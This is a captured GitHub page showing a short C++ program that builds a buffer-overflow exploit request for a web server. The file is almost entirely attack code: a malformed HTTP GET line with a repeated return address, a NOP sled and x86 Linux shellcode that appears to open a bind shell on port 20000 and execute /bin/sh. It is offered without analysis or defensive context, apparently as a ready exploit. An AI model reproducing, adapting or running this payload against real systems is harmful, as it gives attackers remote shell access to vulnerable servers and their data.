Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
branch: master
Fetching contributors…

Cannot retrieve contributors at this time

file 21 lines (19 sloc) 0.892 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
#include <cstdlib>
#include <stdio.h>
using namespace std;

char filename[] = "data.dat";
char addr[] = "\xb0\xfe\xff\xbf"; // Reversed, 0xBFFFFEB0
int numNoops = 475;
char noop[] = "\x90";
int numAddrs = 75;
char code[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";

int main(int argc, char** argv) {
  freopen (filename, "w", stdout);
  printf ("GET /");
  for (unsigned int i = 0; i < numAddrs; ++i) printf("%s", addr);
  for (unsigned int i = 0; i < numNoops; ++i) printf("%s", noop);
  printf ("%s", code);
  printf (" HTTP");
  fclose (stdout);
  return 0;
}
Something went wrong with that request. Please try again.